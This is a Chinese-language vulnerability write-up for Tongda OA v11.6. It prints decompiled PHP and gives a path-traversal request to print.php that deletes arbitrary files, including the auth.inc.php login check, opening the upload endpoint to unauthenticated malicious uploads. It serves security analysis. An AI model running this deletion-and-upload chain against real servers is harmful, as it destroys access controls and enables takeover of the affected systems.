漏洞描述
通过任意文件漏洞删除上传点包含的身份验证文件，从而造成未授权访问实现任意文件上传。
漏洞影响
通达OA v11.6
环境搭建
通达OA v11.6下载链接：https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe
漏洞复现
使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密
解密完成后查看 webroot\general\data_center\utils\upload.php 文件
<?php
include_once "inc/auth.inc.php";
include_once "./utils.func.php";
$HTML_PAGE_TITLE = _("上传文件");
include_once "inc/header.inc.php";
$error = "";
$msg = "";
if ($action == "upload") {
if ($filetype == "xls") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/templates");
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) {
}
}
else if ($filetype == "img") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/images");
}
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$p = strrpos($s_n, ".");
$s_n = CreateId() . substr($s_n, $p);
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
else {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
if (isset($from_rep)) {
if (($from_rep != "") && ($from_rep[0] == "{")) {
$repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
}
}
}
else {
$arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) {
$p = strpos($arr[$i], ".");
$repno = substr($arr[$i], 0, $p);
$repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
break;
}
}
}
}
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
}
@unlink($_FILES["FILE1"]);
}
else if ($action == "unupload") {
if ($filetype == "xls") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename) . ".xls";
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
else if ($filetype == "img") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/images/" . trim($filename);
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
else if ($filetype == "attach") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename);
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
}
echo "{";
echo "new_name:'$s_n',\n";
echo "error: '" . $error . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
echo "<body>\r\n</body>\r\n</html>";
?>在第一行包含了文件 auth.inc.php
include_once "inc/auth.inc.php";
可以看到这个文件用于检验是否登录，未登录的情况无法利用这个漏洞
查看 \webroot\module\appbuilder\assets\print.php文件
<?php
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}这里可以看到 页面获取 guid参数的值 使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件。
可以本地在 \webroot\inc 目录创建 1.txt 文件
然后访问
/module/appbuilder/assets/print.php?guid=../../../webroot/inc/1.txt就会删除这个 1.txt 文件，也代表可以删除 auth.inc.php 登录检验文件
回到 upload.php 文件进行代码审计
判断变量 $action 是否为 upload，再判断文件类型，如果不为 xls 和 img 则进入else分支
else {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
if (isset($from_rep)) {
if (($from_rep != "") && ($from_rep[0] == "{")) {
$repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
}
}
}
else {
$arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) {
$p = strpos($arr[$i], ".");
$repno = substr($arr[$i], 0, $p);
$repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
break;
}
}
}
}
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
}
@unlink($_FILES["FILE1"]);
}在这段代码中，如果不存在 $from_rep 变量则会跳到如下代码
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}这里直接将 $repkid 变量进行拼接,也就是说可以通过目录穿越来上传恶意文件到指定目录。
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